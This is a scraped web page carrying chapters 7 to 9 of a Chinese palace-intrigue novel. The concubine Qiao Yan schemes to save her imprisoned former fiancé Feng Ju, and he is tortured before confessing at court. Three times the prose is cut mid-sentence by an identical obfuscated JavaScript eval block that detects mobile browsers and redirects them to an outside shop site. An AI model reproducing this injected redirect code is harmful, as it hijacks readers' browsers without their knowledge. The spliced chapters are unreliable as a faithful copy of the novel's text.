众人散后，乔燕也告退，文景帝没让起身，俯视着她的头顶，冷不防地道：“刚刚那番话倒是让朕刮目相看。” 董玉莲奉旨在宫外做差事，殿内只剩他们两个人，乔燕胆子一时大了起来，柔声开口：“司礼监想借刀杀人，内阁一心作保，争来争去，谁都没有站在您的立场上想一想。” 文景帝被说中心事，罕见的升起一股熨帖，忍不住说了句心里话：“朕最恨党争。又怕他们不争。” 满朝上下，最后竟是这个刚入宫的小姑娘看到了他的为难。 想到这里，文景帝有意给她多一些脸面，道：“随朕去清心殿，朕召了林太傅下棋，董大伴不在，就由你近前服侍。” 清心殿在洗心殿的北边，面阔七间，是文景帝起居之所。 文景帝召林太傅下棋，一下就下到了晌午，直到尚食局送来膳食，林太傅输了半子，方才告退。文景帝则顺势留乔燕用膳。 殿外，一上午没见人影的董玉莲姗姗来迟。 月台上，小太监掏出汗巾，殷勤地擦去他额头的汗。 “老祖宗怎么这个时辰才回来，圣上念了您一上午呢。” 董玉莲没有说话，闭着眼平复气息，这一路虽多乘轿子，但酷暑当头，他还是有些累到了。 跟着回来的秉笔太监胡襄小声抱怨：“哎哟，快别说了，圣上要的青词哪有那么好写，自冯忱去后，满朝也就剩吏部李侍郎的笔墨尚能得圣上青眼，但那位的性子……董爷等了一早上，受了好大的威风。” “行了，都是为圣上做事，没得乱说。”董玉莲不轻不重地斥了句，用袖珍香炉将身上异味熏去，方才踏入殿门。 文景帝和乔燕已经坐在了饭桌旁。看到乔燕，董玉莲脚步微顿，显是有些诧异，随即躬着身走到文景帝身边。 “今儿乔娘娘也在，奴婢伺候两位主子吃饭。” “这些事有下人做，不必你来，”文景帝显然有更挂心的东西，“青词呢？” “这儿呢，奴婢本想着等您吃完再给您过目。” 董玉莲伸手入袖，取出寸长的木盒，打开后里面有一方叠得整齐的白绢。 白娟上写满密密麻麻的小字，文景帝看过，脸色淡淡的。熟知他的都懂了，这是不满意。 文景帝随手丢给了乔燕。 “朕瞧你内慧伶俐，来，瞧瞧这个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996282|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>绢面的小字是一篇文章，初初一眼只能看出是骈俪体，对仗工整，辞藻华丽，多用神鬼志异作典故，晦涩难懂，深奥非常。 乔燕看得头昏脑涨。 这便是董玉莲进门前，身边的内侍抱怨的那篇“青词”。 青词乃祭告上天之文，是写给神仙看的，本没许多讲究，不过文景帝眼光十分挑剔，满朝文官，能让他满意的人屈指可数，其中翘楚者便是已经被斩首的冯忱。 “如何？” 乔燕放下白绢，斟酌着怎么开口才能既不显得谄媚，也不过于冒犯。 好在文景帝心里已有定论，不等她评价就说道：“朕瞧着，远不如冯忱去年写的那篇，这样华而不实的东西，要是真烧给道君看，岂不是对道君的大不敬。” 青词本就是华而不实的文章。 心中这样想，乔燕不敢真说出来，只道：“圣上广纳天下有学之士，自然不乏可以写好青词之人。” 谁想文景帝反而眉头一蹙：“满朝文臣尽是酒囊饭桶，骂人时一套一套，锦言妙句层出不穷，等要认真作文章了，反而憋不出一个子儿。” 文景帝显然还介怀着今日的那篇劾文。 说着，他突发奇想：“你们乔家文墨传家，能人辈出，不说别人，乔湛以庶吉士入翰林，想必是为学好手，不知能不能写来这青词？” 乔燕心里一紧，乔二郎为学如何，她还是清楚的，确是年轻人里的翘楚，却非骈俪能人。 这其实并不公平，当朝文章多为“制义”，即讲究“裁断适宜”，从四书五经之中选题，虽也讲究排比对偶，然行文严谨，逻辑清晰。而青词则相反，写得越玄乎越好。所以能写好时文的人大多不能写好青词。 说到骈俪，她倒是想起一人。 几乎是快过脑子，乔燕听到自己脱口而出：“妾知当朝有一人极善骈文……” 待要说名字时，她才反应过来，不仅声音戛然而止，背后也惊出了一身冷汗。 文景帝已感兴趣地出声：“何人？” “圣上恕罪！”乔燕双手搭在腿上，脸色微白，有少许失态：“妾方才只想到此人曾作的文章，却忘了他如今戴罪在身，不敢说出来惹您不快。” 文景帝放下了筷子：“你说的是冯忱的那个孙子吧？冯矩。” 一想到冯忱这个孙子，文景帝就想到乔燕曾与其有过婚约，瞥了她一眼。 这个冯矩，听说为了活下来，拜了董玉莲的门头。 私心里，文景帝其实看不起冯矩，不咸不淡地道：“朕记得他的骈文写得确实好，那篇广为流传的《游嵩山赋》朕也读过，字如锦绣，志华日月，当朝无人能出其左右，跟他祖父相比可谓是青出于蓝而胜于蓝。董大伴，你觉得怎么样？” 这样问，便是有些意动。董玉莲八风不动，顺应帝心说道：“不妨让他试试，冯忱极善此道，他的孙儿想必也可以。” 文景帝“嗯”了声：“让他写一篇看看，明天，不，今夜就给朕。” 董玉莲面露为难：“今夜恐怕……” “怎么？” “冯家之案的脏银至今未有下落，下面的奴婢破案心切，拿了他入狱审问，现下恐怕还在诏狱里。” 冯矩进了诏狱已有六七日，董玉莲昨夜才去看过，几乎没个人形，也不知还能不能提起笔。 乔燕第一次听到这个消息，不由一惊，好不容易才遏制住抬头望去的举动。 文景帝皱眉也不知想了些什么，问道：“手断了吗？” “没有。” 画押的手，怎么都不能断的。 “手没断，怎么就不能写了，不必放他出来，你们破你们的案，送副纸墨进去，写好了拿给朕看就是。” 文景帝一锤定音，这青词便怎么都要今夜写好了。 再提起筷子，菜已经冷了，乔燕勉强陪着吃了几口饭，忍到文景帝落筷，才终于结束折磨。 离开洗心殿，步下玉阶，内侍去准备步舆，乔燕魂不守舍地领着宜婵站在避风的象眼旁，等了一会儿，有人从踏跺而下，慢慢行到她跟前。 “董公公？” 董玉莲手上捻着一串白玉菩提珠，看了宜婵一眼，乔燕提了下唇角，识趣地道：“你去一旁等着。” 看着宜婵走到十数步开外，乔燕这才将目光重新落回董玉莲身上，微微垂着眼，看着他胸前神气的麒麟补子，做足了恭敬的姿态。 “公公有什么事但请直言。” 7. 惊叹 董玉莲脸上还带着惯常的笑：“只是突然想起，宫里不比宫外，总有下跪的时候。乔娘娘细皮嫩肉，膝盖恐怕受不住，奴婢那儿有些化瘀的药方，回头让人送给您以备不急之需。” 今天晨议跪了很久，乔燕的膝盖一直在作疼。 乔燕隐约感受到他的意图，一瞬间，心里涌上被蔑视的怒意，语调也生硬了起来：“多谢公公好意。” “奴婢那些药方，是早年不受宠的时候罚跪，去太医院托人讨来的，后来奴婢伺候圣上伺候的好了，一步步做到东厂提督的位置，没人再让奴婢跪过，这药自然就没用了，如今赠给娘娘，也算物尽其用。” 乔燕听出了他用身份压下来的警告之意。 这时候她反而镇定了下来，弯起嘴角，轻柔地笑了笑，一派客气。 “掌印说的是，我如今在宫里谁都仰仗不了，只能凭圣上宠爱立足，以后怕还有仰仗掌印的地方，还请掌印多有照顾。” 入宫前，乔燕怎么也想不到，有一日竟会这样舍去尊严地说话，但只有站在这个地方，到了这个时候才知道，一切都是水到渠成。 董玉莲笑道：“乔娘娘这话便严重了，您如今是圣上身边顶亲近的人儿，奴婢怎么敢跟您比。奴婢一心为圣上办事，为了冯家脏银一事，已经几日没合过眼，如今眼见快有个结果了，圣上这里突然横插个差事，您说奴婢要怎么办呢？如果继续不给好脸色，他写不出青词，是奴婢的不是，如果给好脸色，那先前的审问岂不是都白费了。” 乔燕咬了下舌尖，再开口时，几乎算低声下气。 “公公说的我都明白了，这事是我做的不地道，误了东厂的差事，回头就算他写不出来，也都是我考虑不周的过错。” 到底是不经事的小姑娘，稍微一吓便漏了怯。她既服软，董玉莲也没有继续敲打，缓了口气说道：“娘娘这话严重了，该背的错，东厂自然不会推到外面去，不过娘娘对圣上一片诚心，奴婢今儿算见到了。” 乔燕心里陡然升起一股荒唐感。 坐在高位太久，握着权势太久，是不是就会失去敬畏？ “公公的话我都记着了。” 步舆这时被人抬了来，看见这里的景象，为免扰到他们说话，抬舆的内侍就没近前来。 宫里从来不缺有眼力见的人。 董玉莲已经要走了，想到圣上对乔家的态度和期许，还是加了一句：“娘娘，奴婢说这些您可能觉得冒犯，但都是奴婢的肺腑之言。冯家已经没了，冯矩苟活至今，流着的还是冯家的血，要说他不恨吗？谁都觉得不可能。但他能恨谁呢，东厂也不过是听令行事，他还能恨谁？圣上看到他，心里不会怕吗？娘娘为了乔家，也要想明白才是。” 乔燕这一天身心俱疲，等回到住所，沾枕即睡，醒来时已至月上中天。 屋中烛火已熄，唯有靠窗的赤漆多宝阁上的香龛里仍有一点猩红明灭。 也是巧，宜婵恰好这时掌灯掀帘进屋，对上她的眼睛，方才松一口气。 “娘娘醒了。” 乔燕心里恹恹，想一个人待着，就道：“不必点灯，我不想动，你回去睡吧。” 说着，才问道一股淡淡的药味，不由问：“怎么有药味？” 宜婵没有听她的，走到灯架前，揭开玻璃灯罩，引燃里头的蜡烛，一边解释：“您今儿从殿里出来走路的姿势就不太对，奴婢心里担心，趁您睡觉擅作主张看了下您的膝盖，青了一片。思嘉那丫头会按乔，奴婢就让她用药揉了揉，不然若一直淤堵着，明早怕下不了地。” “药是哪儿来的？” 宜婵知道她想问什么，柔声答道：“小董公公送来一盒化瘀的药膏，奴婢看那药太金贵，以后说不定还有急用的时候，就收了起来，给您涂的是我们府里带来的。” 董玉莲送来的药，乔燕用着确实膈应，幸好宜婵明白她的心思。 “那瓶药拿出来，放在床头多宝阁上，我要每天看见。” 宜婵一怔，很快应下，没有多问。 乔燕又问：“什么时辰了？” “已经过了亥时，奴婢今夜当值，本已在外间睡下，不想被清心殿那边的人喊醒。” 说着，递上一个方方正正的木制锦盒。 “那边的公公送来这个，传口谕说：奉圣上命，请娘娘敬览，稍后复还圣前。奴婢想着这么晚送来的想必是要紧物，正要喊您看看。” 乔燕一怔，伸手，打开了木盒。 盒中静卧一张青藤纸。 青词又名绿章，便是源于这青藤纸。如今既已用朱笔誊抄于青藤纸上，必是过了圣眼。能让文景帝大半夜特意叫醒她也要看的文章，肯定是令人拍案叫绝的佳作。 想到这里，乔燕由衷地替冯矩松了一口气，沉下心神，读着这篇敬献神仙的文章。 这篇文章玄然华彩，飘然欲仙，更令人惊叹的是，在遭受这样的苦难后，他的笔下却不见丝毫神伤。透过这薄薄的一张纸，乔燕几乎可以想见，也许曾有一缕斜阳婉照，游鸿远吟，不见天日的一墙之隔，冯矩坐在肮脏朽烂的狱中，落笔成章。 身困囹圄，心游万仞。 那一抔不请自来的惊叹，逐渐在心海沉寂，缠绕成更为悱恻的东西。 董玉莲今天的话已经说的很明白，他不相信冯矩，如今冯家已经没了，不会留这个后患□□景帝想必是一样的斩草除根的心思。 这次冯矩进诏狱，他们就没想他活着出来。 她要做些什么，哪怕并没有用，但总好过在这里白白等着他折于人世。 想到这里，乔燕合上锦盒，撑着床沿便欲起身。 宜婵连忙扶住她。 “您要做什么？” “圣上还在等着复命，我去一趟。” 宜婵不解：“这个时辰圣上必然已经睡下，将东西交还给清心殿的人便是，您膝伤未好，何必多跑一趟。” 乔燕十分坚持：“事关圣上，自然多多上心。” 宜婵却还是不动，握住她胳膊的手指收紧，“娘娘，”她压低声音，有些焦急，“这是冯二郎所写，圣上深夜送来，未尝没有试探的意思……您……” “放心，此去乃是复命，什么能说什么不能说，我心里有数，不会有事。” 宜婵不再多言，帮她收拾仪容。 很快收拾完毕，推门而出，见得庭中立着一高一矮二个太监，其中一个还是熟人——那个常来接乔燕、笑起来有酒窝的小太监。 乔燕上前一步。宜婵目光落在自家主子的背影上，眼底有几分担忧和凝重。 乔燕和清心殿来的太监寒暄完，说明来意，太监便伸手一引，让她走在了前头。 没多久抵达清心殿，大门前，宜婵递上手里的锦盒，为主子解开斗篷，有些忧心：“娘娘……” 乔燕安抚地拍了拍她的手背，没说什么，跟着通报的太监进了里间。 文景帝夜间随问天观的道士打坐修炼，结束回到清心殿已是亥时，本该入睡，但想起白天叮嘱下去的事，心头惦记，于是派人去东厂问问情况。这么一来一去，等拿回青词已经到了亥时末，但文景帝心系于此，忍着困意读完。这一读不要紧，惊叹之余困意全消，甚至忍不住想跟人分享。 西苑的夜间，能看得懂的也只有乔燕，于是文景帝让人大半夜送去乔燕住的宫殿。 乔燕进门的时候，文景帝还精神着，见到她便问：“这份青词如何？” 乔燕行礼行到一半就被文景帝抬手止住，垂首答道：“精彩绝伦。有冯矩在，以后您都不用愁了。” 文景帝笑意微敛。 这“以后”两个字，刺痛了文景帝敏感的神经，打量良久，淡淡地问：“你觉得，冯矩这个人，我‘以后’能用吗？” 乔燕心里一惊，知道自己踩到了那条线，纵使心里再不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996283|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘，也不能说了。 “事关用吏，妾身不过一妇人，哪敢置喙，自然由您决断。” 文景帝审视地看着她，见她果真没有要说的，眼里的疑色才渐渐消失，但一时也没了说话的兴致。 “我困了，你回去吧。” “是。” 乔燕叩首，却行而出，等出了大门，才发觉背后出了一层冷汗，经夜风一吹，不由打了个寒颤，抓住宜婵递来的手。 乔燕入殿的这段时间里，宜婵的心一直吊着，此时终于能松口气。 宜婵借着围斗篷的动作，低低地道：“来时您的神色不太对，奴婢真是越想越怕。” 乔燕勉强一笑：“怕什么，我有分寸，总不会引火上身。” “奴婢还真怕您一时糊涂。现在看，您和从前真是大不相同了，倒是奴婢自己还没能适应这里。” “人总要去就环境，但这样的改变，未必是好事。”乔燕一语带过，领着宜婵走到门边，看到那个眼熟的小太监站在外面，轻声问：“这个公公叫什么？总在洗心殿见到，却一直没有机会说上话。” “金春山，和司礼监的胡秉笔是老乡，因着年纪小，下头都喊他小金公公。” 说话间，外面听到了动静，金春山看过来，露出个讨喜的笑：“娘娘这就回了吗，奴婢让人备好了步舆，就等在踏跺下面。” 乔燕客气地道：“多谢。” 乘步舆回了宫殿，乔燕在宜婵的伺候下脱去外衣，躺上床。 四下没有旁人。宜婵掖着被角，冷不防道：“娘娘要做什么，都要以自己为重。” 乔燕闭上眼，“我能做什么。” “奴婢也不知道，只是奴婢能看出来，您心里憋着一口气，没想放弃，”宜婵跪在脚踏上，“娘娘，如今您心里透亮，奴婢本不该多嘴。但奴婢想了一路，这些话还是要说。 自入宫后您心里一直不算太痛快，如今难得有件想做的事，奴婢看着也高兴。奴婢不拦您，只是希望您在火塘外拉人可以，自己千万别趟进火里，不管做什么，您都先想一想，入宫吃下的这么多苦，值不值。” 乔燕沉默不语地看着她，伸出手，眼睛有些湿润，宜婵怔了片刻，将手搭上去，纤长的手指立马握紧了。 “宜婵，我……”这一句像忍了很久，带着止不住的颤抖，“我心里难受。他又被下了诏狱，圣上要杀他。我知道如今既然入宫，前尘总总当一刀两断……可有些感情实在无法控制，一想到他就要死去，我就……好像也死去了一样。” 每月初三、十三、廿三开经筵，大儒集于明德殿为圣上讲学。 七月十三，是逢经筵。 乔燕站在文景帝身边磨墨洗笔，殿内人员早对她睁一只眼闭一只眼，只当她是个伺候皇帝的奴婢。 及至经筵结束，太傅林元海领头朝外走。 过了成仪门，是一条冗长的宫道，两侧高耸的宫墙无一遮挡，这时，身后忽有人喊：“林太傅！” 林元海难掩讶异，迟疑着站定转身。 “乔娘娘？” “林太傅，”乔燕走近，福了一福，“您等会去翰林院能否帮我带封家书给我二哥。” 同行至此的同僚还有公务在身，见状纷纷和林元海拱手告辞。 林元海送别诸人，面向乔燕，眉心不易察觉地轻微一蹙，问道：“圣上知道吗？” “自然知道。”乔燕从琵琶袖里取出一封没有封漆的书信，递向前。 “我会帮娘娘带到。” “多谢太傅。” 林元海接过，收进袖袋里，看了眼身后走远的同僚们，说道：“娘娘还有什么话，一同说了吧。” 林元海宦海沉浮四十余载，何等老辣，乔燕知道自己的目的瞒不过他。 想到自己即将要说的事，她的心脏骤然狂跳，手脚发麻。她深吸一口气，压低声音：“我想请您一件事。” 8. 求助 “我想请您救冯矩。” “这……” 林元海先是一怔，很快失笑，看她像在看一个异想天开的小姑娘。 “娘娘可知，冯家贪墨的脏银一共多少？整整二百万白银，去年兵部在福建水师上的预算也不过这么些，他们一家就贪掉了一整支水师一年的开销，这个情可不好求。” 乔燕与他对视着，这个时候她反倒冷静下来，语出惊人：“谁都知道，这笔钱，冯家是拿不出来的，还把冯矩抓起来，无非是要他死。他本从这个案子里捡回一命，为何圣上还坚持要他的人头？圣上要斩草除根！什么样的情况才要斩草除根？除非冯家的罪名是欲加之罪，圣上心虚，才不敢留活口。” 她这话真是百无禁忌，林元海吓了一跳，情不自禁地收了脸上的笑，再不敢把她当成小姑娘，“娘娘知道自己在说什么吗？” “我只在您面前说，”乔燕无畏地盯着他，“这件事里，只有您有本事，将他摘出去。” “我可没有这个本事。” “您有……只要让他认罪，就有活的希望。” 林元海挑起眉头：“娘娘不妨说的更透彻些。” “冯家之事究竟如何，我们心里都清楚，甚至民间物议更多，这样迫害忠良的事，圣上心里未尝不怕。” “但如果冯矩认下这个罪，坐实冯家失德之事，就可以洗清圣上的声誉，圣上留他一条命，反而可以彰显仁德。并且，”乔燕一顿，换了一口气，“眼见快到雨季，皇陵的修葺刻不容缓，却逢国库赤字，圣上才追这么紧。冯家认罪，户部的账就能平了，账一平，圣上就能开口讨这笔脏银，追来追去，有些人只能把这笔钱拿出来。圣上满意了，真正贪下这笔钱的人也能保住性命，皆大欢喜。到时候，您想保下冯矩，不过是一句话的事。” 林元海这回没有立即开口否认，似在咀嚼她的发言，又似在估量着什么，许久后才笑了起来：“娘娘说的有板有眼，为何不自己去圣上面前陈情。” 乔燕沉默，心里泛起苦涩，她何尝没有试过，正是试过，才更明白。 “太傅知道我和冯矩曾有婚约，我是最不能开这个口的人。” “那娘娘，你可曾想过冯矩他会怎么想，”林太傅叹了口气，语气比一开始要温和许多，“冯忱在诏狱里受了百般刑罚，至死都没认罪，虽死，却也在人们心底留下个清白名声。冯矩若替冯家认下这个罪，你要他以后的日子怎么过？他日去九泉之下怎么面对至亲？他现在已经不好过了，你真要逼他走一条绝路吗？” 静悄悄的宫道里，连一声鸟鸣都听不到。 庭风扫过，鼓起乔燕宽大的琵琶袖，她低头看去，抬手压了一压，苦笑：“那就是他的事了，我能做的都做了，其他的也管不到，他如果死也不肯认……那我就认了。我只是想让他多一个选择，他可以自己选择死，而不是被人逼着死。” 林太傅和她一起静了下去，许久，才道：“最后一个问题，我为何要帮你？” “不是帮我，是帮他。” 乔燕终于伸出一直捂在袖中的右手，露出掌心叠着的纸，因她捏在掌中许久，已经有些汗湿了。 “这是他在狱中写的青词，工笔见人心，您读一读……出事前，冯矩在翰林院担任修撰一职，随您编纂《齐志》，他为人如何，您比任何人都要了解，太傅这些年秉持中庸之道混迹朝堂，明里暗里不知庇佑了多少年轻志士，他值不值得您救，您心里有答案。” 林元海垂睫看着那片纸，没有接：“这是娘娘默下的吧？原本的绿章圣上给我看过。其实没有娘娘今日的话，我也会救他，只是成不成功还需圣上成全。他……唉——娘娘的话我会转达给他。” 林元海看着她平和的面容，心里生出些许可怜。 “乔娘娘。” “太傅请讲。” “您有一言说错了。圣上不不需要谁为他洗清声誉，圣上永远是清白的，不论做什么都有他的道理。” “是，”乔燕一怔，随即反应过来，“太傅指正的是，我以后不会再说这样的话。” 一日后。东厂诏狱，董玉莲放下烧得通红的烙铁，转过身，在奴婢端来的铜盆里慢慢地净手。 “你是不是以为，青词写得让圣上满意了，就能活命。” 屋子里弥漫着皮肉烧焦的味道。冯矩双手被铁链锁在十字状的刑架上，点在地上的脚尖不住打颤，放缓声音，尽量吐字清晰：“我没有这么想过。” 董玉莲哂笑，正要说什么，随行的太监走来，附耳低语：“林太傅持圣谕来了。” 董玉莲一顿，神情淡了下去：“领他进来。” 很快，林元海在厂役的带领下走进这座地狱般的牢房。通道尽头辟出一间屋子，墙上挂满各种血淋淋的刑具，董玉莲坐在圈椅上，身上穿着御赐的蟒服，尚衣局的刺绣精美华贵，与周遭一切格格不入。 “林太傅。”董玉莲站起身拱手行礼。 林元海亦拱手，尽管立场不同，这二人无论何时见面，总是这样客客气气，一团和气。 “董公公，今日小廷议，户部说起开销超支的事，到年底几个月的军饷难凑出来，还有冬至的祭天、天寿山的皇陵，来去都要银子，圣上就着我来问问，冯家贪的脏银查出来没有。” 董玉莲叹了一口气：“冯家的墙都砸了，也没抄到什么，冯家还剩的这一个，嘴太硬，什么都问不出来。” “董公公，今儿是几号了？” “七月十四，怎么了？” “钦天监所定今年天时，九月便是雨季，皇陵的修葺少说也要月余的工夫，你却在这跟一个半死不活的人死磕，圣上若是知道，怎么也要治你一个无能之罪。” 见得董玉莲神色变了，林元海话音一转，说道：“圣上他老人家知道你为这件事操碎了心，没有怪罪。今日开廷议，两位阁老和六部堂官都在，圣上的意思，把人提到堂上，你也去，我们来个会审，大家集思广益，说不定能找到银子的线索。” “现在就要提走？” “是，圣上口谕在此。” 董玉莲有些迟疑：“你也知道，我们只求结果，行事难免有些激进，他现在这副模样……” “圣意谁敢违，只要有一口气，走不了，抬也要抬去洗心殿。只是他这样，还得稍微收拾，免得吓到圣上。” 话都到这个份上，董玉莲只得点了头。 冯矩被一桶冷水泼醒，有人掰开他的嘴，灌下一碗续命的猛药。 他被人拖着手上的铁链，浑浑噩噩走到街上，阳光刺眼，药效上来，人才清醒不少。 “醒了？” 站在身旁的竟是林元海，冯矩怔怔看着这个曾经的顶头上司，许久都没反应过来。 林元海微不可察地叹了口气：“我的马车就停在前面，你随我上车坐一会儿。” 冯矩摇了摇头，哑着嗓子道：“我，我是戴罪之人，不能拖累您。” “不碍事，这点小事还拖累不到我。” 林元海的态度不容反驳，冯矩没有继续矫情，随他上了马车。 马车慢慢地走了起来。 林元海审视着眼前的年轻人。 他身上的中衣是方才离开诏狱时，为了不在圣上面前失仪，董玉莲才吩咐人给他穿的。但在那之前林元海见过衣服下的躯体，伤痕累累，几乎没有一块完好的皮肉。 东厂诏狱，冯忱那样硬骨头的人，只三天就没了，冯矩竟在里面坚持了足足十天。 与从前在翰林院见面时相比，冯矩大变了模样，从前的锋芒消失不见，那一身宁折不弯的清骨好像也没了。 但有些刻在骨子里的东西是不会变的。 林元海没有问他的经历，反是平静地说起了自己的事：“曾经我最爱的学生死劾董玉莲，车裂于菜市口，我连为他收尸都不曾，他的妻子在闹市中骂我的时候，我送了当季最新鲜的茶叶给董玉莲，在董府陪他喝茶。” 冯矩眼里溢出痛苦，沉默地看着他。 这一刻，林元海竟想起了乔燕。 这样南辕北辙的两个人，在看向他时，眼里的绝望如此相似。 他问了一个问题：“你可知冯家为何而亡？” 冯矩在酷刑下嘶喊了十天，嗓子哑的不像话。 “祖父担任内阁首辅，他老人家有自己的抱负，时常辩驳圣意，弹劾厂卫，早引得圣上不满，董玉莲假借圣心满足私欲，蓄意谋害。” 林元海满意于他的敏锐：“不错，人们只看得见相权与宦权在对抗，却看不到朝堂上最大的势力——” 他在掌心写下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996284|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个“皇”字。 “如今这位偏宠权宦，这首辅一职，可不好当。” 皇帝和内阁之间的纠葛源来已久。 开朝以来，理学盛行，以内阁为首的文官集团，牢牢把持着朝政，看在他们真将国家治理得不错的份上，前面几任皇帝都捏着鼻子过了。 但文景帝不同，他性情较为刚愎，好面子，最不喜欢的便是有人跟他唱反调，于是皇权和文臣之间的矛盾就此凸显出来。重用宦官，制衡内阁，说到底不过是皇帝在和文官争权而已。只是文官在朝经营百年，盘根错节，树大根深，岂是一任皇帝能根除的。 流的血越多，矛盾越深。近来内阁势弱，一个个却还硬着骨头往前撞。冯忱身死，他的学生却遍布朝野和民间，甚至有书生以其为志，歌颂他的慷慨与贞节，这棵掌握着大齐命脉的大树只是断了一截枝干，假以时日，仍能生出繁茂的枝叶。 有些事，事关气节和理想，却很难说清谁错谁对。 说到这里，林元海忍不住苦笑：“董玉莲仗着圣上信任，如今可谓一手遮天，他所统领的东厂和司礼监沆瀣一气，党同伐异，搅的朝堂如一滩浑水。我一直劝你的祖父，不要再与董玉莲针锋相对，至少不要在明面上争斗，内抱不群，外欲浑迹，伺机而动，方为唯一的胜机。可他腰板太硬，不愿委曲求全。” 冯矩轻道：“他老人家一直宁折不屈。” 所以冯忱的那一跪，至今都让他喘不过气。 “所以他败得很快。” 冯矩终于忍不住了：“您半辈子都在隐忍负重，韬光养晦，也没有等到机会。” 此时此刻，他还有这样攻击性的一面，竟让林元海觉得欣慰。 “你祖父也跟我说过类似的话，他比你直接的多，曾指着我的鼻子骂我：既为宰相，何以不敢言于天子前。” “您也忍住了？” “是，激流勇退并非懦夫，这个道理我花了很久才明白，只要心怀远志，不论以什么方式活下去，终有一天会与他们殊途同归。” 冯矩怔怔地听着，忽而体悟，这些或许就是祖父来不及对他说的话。 他哑着嗓子问：“您跟我说这些……” “想活下去吗？” 冯矩张了张嘴，迟迟给不出答案。 董玉莲要他死，皇帝要他死，等会到了宫里，很多人都想要他死。 他还想活下去吗？ 冯矩哑然的时候，林元海一直在观察他，却看不到任何生气，他若心存死志，再多人也拉不上来。 林元海不再迟疑，说道：“本来来个宫人就能提你入宫，我特意请旨来接你，跟你说这些，其实是受人相托，宫里有一个人，很想你活下去。” 冯矩一震，一个名字浮现在心里。 这一瞬间，这个名字似乎带着微弱的热量，撑起了他为数不多的勇气。 “而且，我也有私心。你随我修编《齐志》以来，我便将《巨贾篇》交给了你，如今修注过半，不便假以人手，希望剩下的一半也由你完成。” 林元海语调很平静，正是这样的平静，给了冯矩一丝喘息的机会。 “史者，述往以为来者师，这是一件十分有意义的事，你有大才在身，我希望至少后人提到你，想起的不是那个昙花一现的冯状元，而是你留下的文字。” 冯矩低下了头，许久没有给出回答。 林公心里一颤，他从未在谁身上见过这样的谦卑，忽而便懂了这样的惶惑。 少年状元，文林砥柱，曾经加诸在冯矩身上的赞美，如今却成了钉入他脊梁的一根根锈钉，稍微触及便是锥心刺骨。他表现得再平静顺从，可心里仍旧是恐惧的，不知今后还会受到多少羞辱唾骂。 一片静默中，林公突然抬起手：“子规，低头。” 冯矩不解，却还是听话地低下头。 那只皮肤松弛布满皱纹的手落在了他的头顶。 家道巨变，亲人魂断刑台，这一抚让冯矩几欲落泪。 “我有三诫，你且听好。” “您请讲。” 林公说：“一勿奴颜婢膝，二诫谨守初心，三忌自轻自弃。” 冯矩心头大震，喉咙里好像堵了一团棉花，林公道：“你若做到这三点，我不看轻你，谁也不能看轻你。” 9. 夜会 清晨，洗心殿正殿八扇三交六椀菱花槅扇门大开，阳光倾斜地铺了进来。 殿里的桌案已经被悉数收起，腾出来的空地上站着两列人。 内阁首辅束继文站在左侧上首，次辅温却疾就站在他后边，内阁凋敝，仅剩此二人了。右侧上首的位置空着，其余六部堂官分站两侧。 文景帝身着明黄色的道袍坐在香炉后，左手边站着大太监董玉莲，右手边站着乔燕。 顾及场合，乔燕穿了一件青色通袖袍，身上仅佩了一副玉叶禁步作装饰，看起来素净到不起眼。 很显然，今天的洗心殿，她不是主角，满堂官员也不是主角。 林元海出现在门外，朝内行进两步，于殿中央站定，行了一礼。 “禀圣上，冯矩带到。” 文景帝道：“起身吧，辛苦太傅了。让他进来。” 林元海直起身，站到右边上首空着的位子上。而此刻满屋子的视线已经都朝门口看了过去。 一道瘦高的影子先投了进来，一步一步，影子的主人终于出现在众人的视野里。 为了避免御前失仪，这一路上冯矩略微打理过，头发整齐地用布条束在身后，身上中衣整洁，诏狱里的厂役下手阴毒，全都伤在衣裳遮蔽之处，是以这么看去，除了瘦了许多，看不到其他脏污。 他在门口顿了一顿，才抬起脚，吃力地迈过地袱。 随着他这一动作，脚上铁链哗啦作响，拖拽在地板上，像铁刀刮石头一般刺耳。 乔燕觉得自己的呼吸快停住了，她就这么遥遥看着，那把铁刀宛如刮在她的心间。 冯矩只盯着脚前的一寸地，一步步走到中央，跪倒在地。 “罪人冯矩，叩见圣上。” 文景帝没有让他起身，甚至阖上了眼，对身边的董玉莲道：“还是你问吧。” “是。” 董玉莲转向堂下，喝问：“冯矩，冯家于两浙都转运盐使司贪墨白银二百万两，你可代冯家认罪？！” 这个问题，这十日在东厂诏狱内，董玉莲已经问过无数遍，动用无数刑罚，却都撬不开冯矩的嘴。 此时此刻，董玉莲问出这句话时，心内已经拟好接下来面对圣上责问的自救之辞了。 然而—— “冯家认罪。” 